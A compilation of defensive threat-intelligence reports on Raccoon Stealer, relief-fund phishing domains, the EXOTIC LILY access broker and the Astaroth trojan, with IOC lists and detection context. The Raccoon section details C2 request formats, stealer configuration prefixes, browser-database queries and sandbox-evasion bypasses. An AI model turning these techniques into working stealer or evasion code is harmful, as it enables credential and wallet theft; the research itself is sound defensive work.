However, this script didn’t solve the problem of running in the virtual environment without a debugger. We continued our malware analysis and came across an interesting piece of code. This code is executed differently in virtual and real environments. An exception occurs after the IF flag is set in the flag register with the `popfd` command. If we run in a virtual environment, the exception handler considers that the exception occurred on the “call” instruction. However, when running on a real machine, the exception occurs on the “nop” instruction. Thus, by comparing the addresses of the exceptions that occurred, the malware determines the presence of a virtual environment.
Bypassing this check is enough to decrease the EIP register value by one when entering the exception handler. After making the necessary corrections, this detection method no longer works in ANY.RUN sandbox.
## Execution Process of RecordBreaker Malware
### Loading WinAPI Libraries
Raccoon dynamically loads WinAPI libraries using `kernel32.dll!LoadLibraryW` and gets addresses of WinAPI functions using `kernel32.dll!GetProcAddress`.
### Decryption of Strings
Depending on the sample, the algorithm for encrypting strings can be:
- Encrypted with RC4 algorithm, then encoded into the Base64 format
- XOR encrypted with a random key
- Encryption may not be applied at all
Examples of decrypted strings:
- logins.json
- autofill.txt
- cookies.txt
- passwords.txt
- formhistory.sqlite
### C2 Servers Decryption
The next malware step is to decrypt C&C servers. There can be several, up to five. The encryption algorithm of C&C servers may vary depending on a sample. At least two methods have been identified:
- Encryption using the RC4 algorithm with further recoding to Base64
- Encryption with XOR
### Raccoon Termination Triggers
At this stage, the malware has not executed any malicious code yet. There are certain triggers that may cause the program to terminate without executing any other actions:
- The user’s locale is checked. Certain locales corresponding to the CIS countries cause Raccoon to terminate.
- A check is made to see if the malware has been rerun, in parallel with another sample running on this machine. RecordBreaker tries to open a particular mutex. If it succeeds, it terminates immediately. If not, it creates the mutex itself.
### Privilege Level Check
After creating a mutex, the malware performs a System/LocalSystem level privilege check using `Advapi32.dll!GetTokenInformation` and `Advapi32.dll!ConvertSidToStringSidW`, comparing StringSid with `L “S-1-5-18”`.
### Process Enumeration
If the check shows that RecordBreaker has the privilege level it needs, it starts enumerating processes using the `TlHelp32 API` (`kernel32.dll!CreateToolhelp32Snapshot` to capture processes and `kernel32.dll!Process32First` / `kernel32.dll!Process32Next`). In our samples, this information isn’t collected or processed in any way.
### Connecting to C2 Servers
The next important step is to attempt to connect to one of the C&C servers. To do this, Raccoon Stealer generates a string like:
```
machineId={machineguid}|{username}&configId={c2_key}
```
Then the program tries to send a POST request with the string to every possible server. If there are multiple C&C servers, the malware will only accept commands from the one it was able to connect to first. In response to the request, the server will send the malware a configuration. If RecordBreaker fails to connect to any of the C&C servers, it will stop its work.
### Description of the Malware Configuration Structure
Configuration lines are divided into prefixes, each telling the malware how to interpret a particular line. Here is a table describing these prefixes and what they do:
| Prefix | Example | Prefix’s function |
|---------|-------------------------------------------------------------------------|-------------------------------------------------------|
| libs_ | libs_nss3:http://{HOSTADDR}/{RANDOM_STRING}/nss3.dll | Legitimate libraries necessary for malware work |
| grbr_ | grbr_dekstop:%USERPROFILE%\Desktop\|*.txt, *.doc, *pdf*|-|5|1|0|files | Targeted arbitrary files from custom directories |
| wlts_ | wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar* | Targeted crypto-wallets and the files associated with them |
| ews_ | ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension | Targeted cryptowallet related extensions for Google Chrome |
| ldr_ | [missing in the configuration of the sample] | Additional commands that should be executed by malware |
| tlgrm_ | tlgrm_Telegram:Telegram | Targeted files related to the Telegram messenger |
| scrnsht_| scrnsht_Screenshot.jpeg:1 | The name of the screenshot(s) that the malware takes |
| token | 101f4cb19fcd8b9713dcbf6a5816dc74 | Part of the URL path for further queries to C2 |
| sstmnfo_| sstmnfo_System Info.txt:System Information: |Installed applications: | The file description with some system data and a list of installed applications that the malware will generate later |
Once the info stealer receives information concerning what kind of data to collect from C2, it proceeds to do so.
### System Data Collection
The stealer collects various information about the infected system, including the OS bitness, information about RAM, CPU, and user data like the applications installed in the system. Raccoon’s mechanisms for data collection include:
- Gets the size of the main monitor using `user32.dll!GetSystemMetrics`
- Finds a list of GPU devices using `user32.dll!EnumDisplayDevicesW`
- Determines the architecture (bitness) of the system by calling the x64-specific function `kernel32.dll!GetSystemWow64DirectoryW`
- Collects RAM information via `kernel32.dll!GlobalMemoryStatusEx`
- Gets information about the user’s timezone by `kernel32!GetTimeZoneInformation`
- Grabs the OS version from the registry using `advapi32.dll!RegOpenKeyExW` and `advapi32.dll!RegQueryValueExW`
- Obtains information about the vendor of the CPU using asm-instruction `__cpuid`
- Gets CPU cores number with `kernel32.dll!GetSystemInfo`
- Collects the user’s default locale info requesting `kernel32.dll!GetUserDefaultLCID` and `kernel32.dll!GetLocaleInfoW`
- Grabs data about installed apps from the registry using `advapi32.dll!RegOpenKeyExW`, `advapi32.dll!RegEnumKeyExW`, and `advapi32.dll!RegQueryValueExW`.
After obtaining the system information, RecordBreaker gets ready to steal user data. The malware loads the previously downloaded legitimate libraries to reach this goal.
### User Data Collection
#### Cookies
First of all, the stealer collects cookies. It creates a copy of the cookies file and tries to open it. If it fails to do so, the current subroutine is terminated. If the sample manages to open the database, it retrieves cookies from it by executing the SQL query:
```
SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
```
#### Autofill Data
The next step in Raccoon’s “plan” is to retrieve the autofill data. The program tries to open the database `logins.json`. Then the stealer tries to decrypt the data from that database using the `nss3.dll!PK11SDR_Decrypt` method. After that, the malware formats collected data like so:
```
“URL:%s\nUSR:%s\nPASS:%s”
```
#### Autofill Form Data
After these manipulations, the stealer collects the autofill form data. It attempts to open the database `formhistory.sqlite`. If the connection to the database is successful, the program retrieves form data values from it with an SQL query like:
```
SELECT name, value FROM autofill
```
RecordBreaker concatenates all data together and sends POST requests to C2. ANY.RUN sandbox’s HTTP MITM proxy feature intercepts all the data that the malware has managed to collect.
### Crypto-wallets, Custom, and Telegram File Data Collection
RecordBreaker is looking for users’ crypto-wallets data using filters and templates retrieved from the configuration. The wallet.dat file is searched (it contains local information about the bitcoin wallet). After that, the stealer looks for arbitrary files from custom directories specified in the configuration. The sample is also looking for files related to the Telegram messenger using data from the configuration.
After the malware has sent all the files, it takes a screenshot(s). If any additional commands are provided in the configuration, the sample will execute them before finishing its work. For example, Raccoon executes other commands with the help of WinAPI (`shell32.dll!ShellExecuteW`) if C2 has sent them in the prefix `ldr_`.
Then, the malware releases the remaining allocated resources, unloads the libraries, and finishes its work.
## Raccoon Configuration Extraction
You can use our Python script to extract C2 servers from the unpacked Raccoon sample, or get malware configuration right in our service, which will unpack the sample from memory dumps and extract C2s for you.
## IOCs
| Filename | SHA-256 |
|-------------------------------------------|-------------------------------------------------------------------------|
| \AppData\LocalLow\nss3.dll | c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e |
| \AppData\LocalLow\msvcp140.dll | 2db7fd3c9c3c4b67f2d50a5a50e8c69154dc859780dd487c28a4e6ed1af90d01 |
| \AppData\LocalLow\vcruntime140.dll | 9d02e952396bdff3abfe5654e07b7a713c84268a225e11ed9a3bf338ed1e424c |
| \AppData\LocalLow\mozglue.dll | 4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862 |
| \AppData\LocalLow\freebl3.dll | b2ae93d30c8beb0b26f03d4a8325ac89b92a299e8f853e5caa51bb32575b06c6 |
| \AppData\LocalLow\softokn3.dll | 44be3153c15c2d18f49674a092c135d3482fb89b77a1b2063d01d02985555fe0 |
| \AppData\LocalLow\sqlite3.dll | 1b4640e3d5c872f4b8d199f3cff2970319345c766e697a37de65d10a1cffa102 |
### HTTP/HTTPS Requests
```
http://[C2 address]/
http://[C2 address]/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
http://[C2 address]/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll
http://[C2 address]/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
http://[C2 address]/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
http://[C2 address]/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll
http://[C2 address]/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll
http://[C2 address]/[config token]
http://[C2 address]/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
```
## Conclusion
We have done malware analysis of the Raccoon Stealer 2.0 performance using a v2 sample in ANY.RUN sandbox. The examined sample has used various techniques to evade detection: legitimate libraries for data collection, dynamic library loading, string encryption, and C&C server encryption. Some examples are additionally protected by packers or being a part of other malware.
Copy the script of Raccoon Stealer and try to extract C2 servers by yourselves and let us know about your results. Write in the comments below what other malware analysis you are interested in. We will be glad to add it to the series! |
# American Rescue Plan Act Lures in the Wild
## Executive Summary
DomainTools researchers discovered a cluster of credential harvesting sites masquerading as American Rescue Plan Act signup sites for those looking to receive their federal aid. Through historical WHOIS information and OSINT techniques, DomainTools attributed this campaign to a Nigerian web development firm, GoldenWaves Innovations. In this article, DomainTools researchers will walk through the techniques and methods used to enumerate these websites and associated attribution with medium-high confidence.
## Background
On March 11, 2021, President Joe Biden signed the American Rescue Plan Act into law. The COVID-19 pandemic relief bill was designed to provide $1,400 in immediate relief to working families, emergency paid leave for over 100 million Americans, and expand the child tax credit among a number of other grants and pillars to assist with other budget shortfalls. Since this act was signed into law, DomainTools researchers have monitored for new registrations of domains that targeted relief recipients. Unfortunately, many relief recipients are unaware that this relief will be automatically assigned to them by the IRS, so scammers are using this as an opportunity to collect social security numbers and driver’s license photographs to use in identity theft.
The initial domain found by DomainTools researchers was reliefcarefunds[.]com that contained the above application form with a typical upload to a PHP destination on the same domain. However, buried in the code was a comment that the page had been mirrored from americaforgivenrelieffund[.]com and a contact page that submitted to a PHP script on that domain as well. With evidence of more domains, DomainTools researchers took a look at the architecture behind the pages for similarities. As readers of this blog will know, DomainTools is a strong proponent of the composite objects method for building out indicators and through examining these two pages we could see that what they had in common was:
- Registration through NameCheap
- Containing the “relief” substring
- Containing the “eric” as in America substring or the “care” substring
- Registration after the signing of the bill into law on March 11, 2021
- Hosting on NameCheap hosting infrastructure
Hunting for this composite in DomainTools Iris Investigate, DomainTools researchers revealed 39 potential domains and an email address associated with a number of them of goldenwaves247@gmail[.]com. To confirm similarities, we used URLScan to search for the list of domains uncovered for any scans done by others that had encountered these domains over the last month. Unsurprisingly, this revealed an additional set of domains with identical structure to the initial phishing page dating back almost exactly a month.
This list of domains then provided another set of important information. For one, DomainTools researchers were able to see that some of these links were being pushed by Bitly link shortening links. With Bitly, appending a “+” to any shortened link provides some data about that link. In this instance, we could see that the shortener was created at 1630 UTC time on June 5th, 2021, with a specific title of “Unemployment Insurance Relief During COVID-19 Outbreak | American Rescue Plan Act” which matches the titles of the other cloned pages.
We can also tell that many of the cloned pages, at the time of their scanning, were not hosted solely on NameCheap’s site hosting services, but were also active on both Garanntor (AS328110) and OVH (AS16276). This allowed the set of items we search for to:
- Registration through NameCheap
- Containing the “relief” substring
- Containing the “eric” as in America substring or the “care” substring
- Registration after the signing of the bill into law on March 11, 2021
- Hosting on NameCheap (AS22612), Garanntor (AS328110), or OVH (AS16276) hosting infrastructure
This then revealed a total of 47 domains matching our criteria including the oldest domain on URLScan page similarities and the oldest domain in our search criteria, theamericaforgivenrelief[.]com, with a registrant email address of onostboy1@gmail[.]com and an unredacted WHOIS record placing the registrant in Ibadan, Nigeria. Searching on that username then reveals a profile on social media site Eskimi of a web developer with an associated Twitter handle of @onostboy with the name Tosyno based in Ibadan, Nigeria. The city of Ibadan is a small, rural town which makes the registration information stand out as almost always technical contacts for Nigerian domains are located in Lagos, the capital city and technology center. Additional searches reveal the same username participating in sales on cybercrime forums, Steam gaming, and other social media sites.
Pivoting on the previous address of goldenwaves247@gmail[.]com that was surfaced reveals a number of domains including Dasani, Fiji, and Mountain Dew brand sites that look to be recruiting for various promotional programs in exchange for money, a fake UK bank site at natwestukbank[.]com, and finally a site with the domain goldenwavesng[.]com that contained the email in historical WHOIS records before going private in late 2018. This is the site of GoldenWaves Innovations, a technology company based in Ibadan, Nigeria, which DomainTools researchers assume with medium confidence to be the legitimate web design firm in front of the identity document harvesting sites.
Reading the information on GoldenWaves Innovations’ page we can see that they claim to be registered with the Corporate Affairs Commission (CAC) of the government of Nigeria. Searching for that company name on ng-check[.]com, a site for querying CAC information, we can see that GoldenWaves Innovation indeed has a valid registration along with the name of the company’s CEO which matches the WHOIS details and who claims to be the company’s CEO on LinkedIn. Though the company was registered in February of 2016, their registration is currently inactive.
Additionally, the historical WHOIS record unearths an address in New York, New York of 120 E 87th Street. This is an apartment building with condos ranging from $900,000 to $13,000,000 in the heart of Manhattan. While at first that seems strange for a company based in Nigeria, we can see from LinkedIn that one of the company’s developers claims to live in New York City. Looking at the CEO’s current contact information on LinkedIn we can see that GoldenWaves Innovations has a new website in goldenwaves[.]com[.]ng which is also tied to the same email address and registration information. This gives DomainTools researchers high confidence that all of these credential harvesting sites are linked to GoldenWaves Innovations in Nigeria. These sites along with any new ones that have cropped up were reported to Google Safe Browsing for blocking.
## Takeaways
Credential harvesting campaigns continue to be a fruitful way for attackers to gain legitimate legal documents they can then resell or use for more sophisticated behavior. When looking for federal aid, those in need the most may not always be fully aware of how that aid is being distributed. In the case of the American Rescue Plan Act, that money was coming directly from the IRS, but nonetheless unsuspecting victims could be led into uploading their identification documents to one of these sites.
DomainTools researchers would recommend that security teams utilize internal passive DNS monitoring to alert them of new domains aged less than 90 days that are responding with IP addresses on cloud provider ASNs. That is the most efficient way to discover these domains on your own network. As for end users, DomainTools recommends:
- Reporting the site to Google Safe Browsing if you come across one so that it will be blocked as soon as possible on all major browsers.
- Reporting the malicious site up to your security team along with the phishing email that came with it as there may be a campaign targeting your employees.
- Never upload your documents to a website you are not logged into and particularly not a site claiming to be a federal one without a .gov domain name.
## Iris Hashes for Hunting
### GoldenWaves Innovations Domains and Associated Emails
```
U2FsdGVkX1+f4H5GPcY4qa4f5nIuj2vjMY/8shjZ/tasRLRe/sgFkQzNfFJ7EGxjoQYYU9PCo3lgkhHJ/+kas
```
### Relief-themed Domains Matching Registration and Infrastructure Patterns
```
U2FsdGVkX1+QgEcPUsLxQS18UIt6kBbpnrhOiGN0x4ILTpIO3GBI29j+7/Vx6a/Lw82tvNHQEhbWPQEjCk2pC
```
## IoC Table
| Domain |
| --- |
| americaforgivenrelieffund[.]com |
| americafundforstimulus[.]com |
| american-reliefplan[.]site |
| american-reliefplans[.]site |
| americancarerelief[.]com |
| americanforgivenrelieffund[.]com |
| americanpeoplerelief[.]xyz |
| americanrelief-plan[.]com |
| americanrelief-plan[.]site |
| americanrelief-plans[.]site |
| americanreliefcare[.]com |
| americanrelieffunds[.]com |
| americanrelieffunds[.]fund |
| americanreliefplan[.]com |
| americanreliefplan[.]site |
| americanreliefplans[.]com |
| americanreliefplans[.]site |
| americanreliefrescueplan[.]com |
| americans-relief-plan[.]us |
| americans-reliefplan[.]com |
| americans-reliefplan[.]site |
| americans-reliefplan[.]us |
| americans-reliefplan[.]xyz |
| americansrelief-plan[.]us |
| americansreliefplan[.]com |
| americansreliefplan[.]site |
| americansreliefplan[.]us |
| americansreliefplan[.]xyz |
| americansreliefplans[.]site |
| americansreliefplans[.]xyz |
| americansreliefs-plan[.]us |
| americansreliefsplan[.]us |
| americansreliefund[.]com |
| americapandemicrelief[.]com |
| americapandemicrelieffund[.]com |
| americare-refund[.]com |
| americareliefcarefunds[.]com |
| americarelieffunds[.]com |
| americareliefgrants[.]com |
| americareliefsfund[.]com |
| americareliefstimulus[.]com |
| americareliefstimulusfund[.]com |
| americarescuerelief-id[.]me |
| americarescuerelief[.]com |
| americastimulusfunds[.]com |
| amiericarelieffund[.]com |
| portal-americanrelief[.]com |
| reliefamerican[.]com |
| reliefamericanplan[.]com |
| reliefcarefunds[.]com |
| reliefcaregrant[.]com |
| rescuefundsforamericans[.]com |
| thereliefforamerican[.]com | |
# FireEye Red Team Tool Countermeasures
These rules are provided freely to the community without warranty. In this GitHub repository you will find rules in multiple languages:
- Snort
- Yara
- ClamAV
- HXIOC
The rules are categorized and labeled into two release states:
- **Production**: rules that are expected to perform with minimal tuning.
- **Supplemental**: rules that are known to require further environment-specific tuning and tweaking to perform, and are often used for hunting workflows.
Please check back to this GitHub for updates to these rules. FireEye customers can refer to the FireEye Community for information on how FireEye products detect these threats. The entire risk as to quality and performance of these rules is with the users. |
# Exposing Initial Access Broker with Ties to Conti
**Vlad Stolyarov**
**March 17, 2022**
In early September 2021, Threat Analysis Group (TAG) observed a financially motivated threat actor we refer to as EXOTIC LILY, exploiting a 0day in Microsoft MSHTML (CVE-2021-40444). Investigating this group's activity, we determined they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike).
Initial access brokers are the opportunistic locksmiths of the security world, and it’s a full-time job. These groups specialize in breaching a target in order to open the doors—or the Windows—to the malicious actor with the highest bid.
EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol. At the peak of EXOTIC LILY’s activity, we estimate they were sending more than 5,000 emails a day, to as many as 650 targeted organizations globally. Up until November 2021, the group seemed to be targeting specific industries such as IT, cybersecurity, and healthcare, but as of late we have seen them attacking a wide variety of organizations and industries, with less specific focus.
We have observed this threat actor deploying tactics, techniques, and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation. Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow, and OneDrive to deliver the payload, further evading detection mechanisms. This level of human interaction is rather unusual for cyber crime groups focused on mass scale operations.
## Spoofing Organizations and Identities
EXOTIC LILY’s attack chain has remained relatively consistent throughout the time we’ve been tracking the group. One notable technique is the use of domain and identity spoofing as a way of gaining additional credibility with a targeted organization. In the majority of cases, a spoofed domain name was identical to a real domain name of an existing organization, with the only difference being a change of TLD to “.us”, “.co” or “.biz”.
Initially, the group would create entirely fake personas posing as employees of a real company. That would sometimes consist of creating social media profiles, personal websites, and generating a fake profile picture using a public service to create an AI-generated human face. In November 2021, the group began to impersonate real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.
Using spoofed email accounts, attackers would then send spear phishing emails under the pretext of a business proposal, such as seeking to outsource a software development project or an information security service. Attackers would sometimes engage in further communication with the target by attempting to schedule a meeting to discuss the project's design or requirements.
At the final stage, the attacker would upload the payload to a public file-sharing service (TransferNow, TransferXL, WeTransfer, or OneDrive) and then use a built-in email notification feature to share the file with the target, allowing the final email to originate from the email address of a legitimate file-sharing service and not the attacker’s email, which presents additional detection challenges.
## Human-Operated Phishing at Scale
Further evidence suggests an operator’s responsibilities might include:
- Customizing the initial “business proposal” templates when first reaching out to a targeted organization.
- Handling further communications in order to gain affinity and trust.
- Uploading malware (acquired from another group) to a file-sharing service prior to sharing it with the target.
A breakdown of the actor’s communication activity shows the operators are working a fairly typical 9-to-5 job, with very little activity during the weekends. Distribution of the actor’s working hours suggests they might be working from a Central or an Eastern Europe timezone.
## Malware and Attribution
Although the group came to our attention initially due to its use of documents containing an exploit for CVE-2021-40444, they later switched to the delivery of ISO files with hidden BazarLoader DLLs and LNK shortcuts. These samples have some indicators that suggest they were custom-built to be used by the group. For example, metadata embedded in the LNK shortcuts shows that a number of fields, such as the “Machine Identifier” and “Drive Serial Number” were shared with BazarLoader ISOs distributed via other means; however, other fields such as the command line arguments were unique for samples distributed by EXOTIC LILY.
In March, the group continued delivering ISO files, but with a DLL containing a custom loader which is a more advanced variant of a first-stage payload previously seen during CVE-2021-40444 exploitation. The loader can be recognized by its use of a unique user-agent “bumblebee” which both variants share. The malware, hence dubbed BUMBLEBEE, uses WMI to collect various system details such as OS version, user name, and domain name, which are then exfiltrated in JSON format to a C2. In response, it expects to receive one of the several supported “tasks”, which include execution of shellcode, dropping and running executable files. At the time of the analysis, BUMBLEBEE was observed to fetch Cobalt Strike payloads.
EXOTIC LILY activities overlap with a group tracked as DEV-0413 (Microsoft) and were also described by Abnormal in their recent post. Earlier reports of attacks exploiting CVE-2021-40444 (by Microsoft and other members of the security community) have also indicated overlaps between domains involved in the delivery chain of an exploit and infrastructure used for BazarLoader and Trickbot distribution.
We believe the shift to deliver BazarLoader, along with some other indicators such as a unique Cobalt Strike profile (described by RiskIQ) further confirms the existence of a relationship between EXOTIC LILY and actions of a Russian cyber crime group tracked as WIZARD SPIDER (CrowdStrike), FIN12 (Mandiant, FireEye), and DEV-0193 (Microsoft). While the nature of those relationships remains unclear, EXOTIC LILY seems to operate as a separate entity, focusing on acquiring initial access through email campaigns, with follow-up activities that include deployment of Conti and Diavol ransomware, which are performed by a different set of actors.
## Improving User Protection
As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products. In collaboration with Gmail and Safe Browsing, we are improving protections by adding additional warnings for emails originating from website contact forms, better identification of spoofing, and adjusting the reputation of email file sharing notifications. Additionally, we’re working with Google’s CyberCrime Investigation Group to share relevant details and indicators with law enforcement.
TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from this threat actor’s activities. We hope that improved understanding of the group’s tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.
## Indicators of Compromise (IOCs)
Recent domains used in email campaigns:
- conlfex[.]com
- avrobio[.]co
- elemblo[.]com
- phxmfg[.]co
- modernmeadow[.]co
- lsoplexis[.]com
- craneveyor[.]us
- faustel[.]us
- lagauge[.]us
- missionbio[.]us
- richllndmetals[.]com
- kvnational[.]us
- prmflltration[.]com
- brightlnsight[.]co
- belcolnd[.]com
- awsblopharma[.]com
- amevida[.]us
- revergy[.]us
- al-ghurair[.]us
- opontia[.]us
BazarLoader ISO samples:
- 5ceb28316f29c3912332065eeaaebf59f10d79cd9388ef2a7802b9bb80d797be
- 9fdec91231fe3a709c8d4ec39e25ce8c55282167c561b14917b52701494ac269
- c896ee848586dd0c61c2a821a03192a5efef1b4b4e03b48aba18eedab1b864f7
Recent BUMBLEBEE ISO samples:
- 9eacade8174f008c48ea57d43068dbce3d91093603db0511467c18252f60de32
- 6214e19836c0c3c4bc94e23d6391c45ad87fdd890f6cbd3ab078650455c31dc8
- 201c4d0070552d9dc06b76ee55479fc0a9dfacb6dbec6bbec5265e04644eebc9
- 1fd5326034792c0f0fb00be77629a10ac9162b2f473f96072397a5d639da45dd
- 01cc151149b5bf974449b00de08ce7dbf5eca77f55edd00982a959e48d017225
Recent BUMBLEBEE C2:
- 23.81.246[.]187:443 |
# Astaroth Malware Uses Legitimate OS and Antivirus Processes to Steal Passwords and Personal Data
**Written By**
Cybereason Nocturnus
**February 13, 2019 | 10 minute read**
**Research By:** Eli Salem
In 2018, we saw a dramatic increase in cyber crimes in Brazil and the abuse of legitimate native Windows OS processes for malicious intent. Cyber attackers used living off the land binaries (LOLbins) to hide their malicious activity and operate stealthily in target systems. Using native, legitimate operating system tools, attackers were able to infiltrate and gain remote access to devices without any malware. For organizations with limited visibility into their environment, this type of attack can be fatal.
In this research, we explain one of the most recent and unique campaigns involving the Astaroth trojan. This Trojan and information stealer was recognized in Europe and chiefly affected Brazil through the abuse of native OS processes and the exploitation of security-related products.
## Pervasive Brazilian Financial Malware Targets Bank Customers in Latin America and Europe
The Cybereason Platform was able to detect this new variant of the Astaroth Trojan in a massive spam campaign that targeted Brazil and parts of Europe. Our Active Hunting Service team was able to analyze the campaign and identify that it maliciously took advantage of legitimate tools like the BITSAdmin utility and the WMIC utility to interact with a C2 server and download a payload. It was also able to use a component of multinational antivirus software Avast to gain information about the target system, as well as a process belonging to Brazilian information security company GAS Tecnologia to gather personal information. With a sophisticated attack such as this, it is critical for your security team to have a clear understanding of your environment so they can swiftly detect malicious activity and respond effectively.
## Unique Aspects to this Latest Version of the Astaroth Trojan Campaign
The Astaroth Trojan campaign is a phishing-based campaign that gained momentum towards the end of 2018 and was identified in thousands of incidents. Early versions differed significantly from later versions as the adversaries advanced and optimized their attack. This version contrasted significantly from previous versions in four key ways:
1. This version maliciously used BITSAdmin to download the attackers payload, differing from early versions that used certutil.
2. This version injects a malicious module into one of Avast's processes, whereas early versions detected Avast and quit. As Avast is the most common antivirus software in the world, this is an effective evasive strategy.
3. This version made malicious use of unins000.exe, a process belonging to GAS Tecnologia, to gather personal information undetected. This trusted process is prevalent on Brazilian machines. To the best of our knowledge, no other versions of the malware used this process.
4. This version used a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and help hide the code it is initiating. Earlier versions did not use this method.
## A Breakdown of the Latest Astaroth Trojan Spam Campaign
As with many traditional spam campaigns, this campaign begins with a .7zip file. This file gets downloaded to a user machine through a mail attachment or a mistakenly-pressed hyperlink. The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware. An obfuscated command is located inside the Target bar in the .lnk file properties.
When the .lnk file is initialized, it spawns a CMD process. This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw). wmic.exe is a powerful, native Windows command line utility used to interact with Windows Management Instrumentation (WMI). This utility is able to execute complicated WQL queries and WMI methods. It is often used by attackers for lateral movement, reconnaissance, and basic code invocation. By using a trusted, native utility, the attackers can hide the scope of the full attack and evade detection.
wmic.exe creates a .txt file with information about the domain that stores the remote XSL script. It identifies the location of the infected machine, including country, city, and other information. Once this information is gathered, it sends location data about the infected machine to the remote XSL script. This location data gives the attacker a unique edge, as they can specify a target country or city to attack and maximize their accuracy when choosing a particular target.
## Phase one: An Analysis of the Remote XSL
The remote XSL script that wmic.exe sends information to contains highly obfuscated JScript code that will execute additional steps of the malicious activity. The code is obfuscated to hide any malicious activity on the remote server. Initially, the XSL script defines several variables for command execution and data storage. It also creates several ActiveX objects. The majority of ActiveX Objects created with Wscript.Shell and Shell.Application are used to run programs, create shortcuts, manipulate the contents of the registry, or access system folders. These variables are used to invoke legitimate Windows OS processes for malicious activities and serve as a bridge between the remote domain that stores the script and the infected machine.
### Obfuscation Mechanism for the JScript Code
The malicious JScript code obfuscation relies on two main techniques:
1. The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign.
2. The script uses the function radador(), which returns a randomized integer. This function is able to obfuscate code so that every iteration of the code is presented differently. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign.
These two obfuscation techniques are used to bypass antivirus defenses and make security researcher investigations more challenging.
## Choosing a C2 Server
The XSL script contains variable xparis() that holds the C2 domain the malicious files will be downloaded from. In order to extend the lifespan of the domains in case one or more are blacklisted, there are twelve different C2 domains that xparis() can be set to. In order to decide which domain xparis() holds, a variable pingadori() uses the radador() function to randomize the domain. pingadori() is a random integer between one and twelve, which decides which domain xparis() is assigned.
One of the most used functions in the XSL script is Bxaki(). Bxaki() takes a URL and a file as arguments. It downloads the file to the infected machine from the input URL using BITSAdmin and is called every time the script attempts to download a file. In previous iterations, the Astaroth Trojan campaign used cerutil to download files. In order to hide this process, it was renamed certis. In this iteration, they have replaced certutil with BITSAdmin.
In order to gain access to the infected computer’s file system, the XSL script uses the variable fso with FileSystemObject capabilities. This variable is created using an ActiveX object. The XSL script contains additional hard coded variables sVarRaz and sVar2RazX, which contain file paths that direct to the downloaded files.
## Downloading the Payloads
The remote XSL script downloads twelve files from the C2 server that masquerade themselves as JPEG, GIF, and extensionless files. These files are downloaded to a directory (C:\Users\Public\Libraries\tempsys) on the infected machine by Bxaki() and xparis(). Within these twelve files are the Astaroth Trojan modules, several additional files the Trojan may use to extend its capabilities, and an r1.log file. The r1.log file stores information for exfiltration. A thorough explanation of what information is collected can be found in a breakdown by Cofense from late 2018.
After downloading the payload, the XSL script checks to make sure every piece of the malware was downloaded.
## Detecting Avast
A unique feature of this latest Astaroth Trojan campaign is the malware's ability to search for specific security products and exploit them. In earlier variants, upon detecting Avast, the XSL script would simply quit. Instead, it now uses Avast to execute malicious actions. Similar to earlier versions of the Astaroth Trojan campaign, the XSL script searches for Avast on the infected machine, and specifically targets a certain process of Avast aswrundll.exe. It uses three variables stem1, stem2, and stem3 that, when combined, form a specific path (C:\Program Files\AVAST Software\AVAST\aswRunDll.exe) to aswRundll.exe. It obfuscates this path using the fromCharCode() function.
aswrundll.exe is the Avast Software Runtime Dynamic Link Library that is responsible for running modules for Avast. If aswrundll.exe exists at this path, Avast exists on the machine.
## Manipulating Avast
Once the XSL script has identified that Avast is installed on the machine, it loads a malicious module Irdsnhrxxxfery64 from its location on disk. In order to load this module, it uses an ActiveX Object ShA created with Shell.Application capabilities. The object uses ShellExecute() to create an aswrundll.exe process instance and loads Irdsnhrxxxfery64. It loads the module with parameter vShow set to zero, which opens the application with a hidden window. Alternatively, if Avast is not installed on the machine, the malicious module loads using regsvr32.exe. regsvr32.exe is a native Windows utility for registering and unregistering DLLs and ActiveX controls in the Windows registry.
## Phase two: Payload Analysis
The only module the XSL script loads is Irdsnhrxxxfery64, which is packed using the UPX packer. After unpacking the module, it is packed with an additional inner packer Pe123\RPolyCryptor. This module has to be investigated in a dynamic way to fully understand the malware and the role the module played during execution. Throughout the malware execution, Irdsnhrxxxfery64.~ acts as the main malware controller. The module initiates the malicious activity once the payload download is complete. It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language.
## Continuing Malicious Activity and Manipulating Additional Security Products
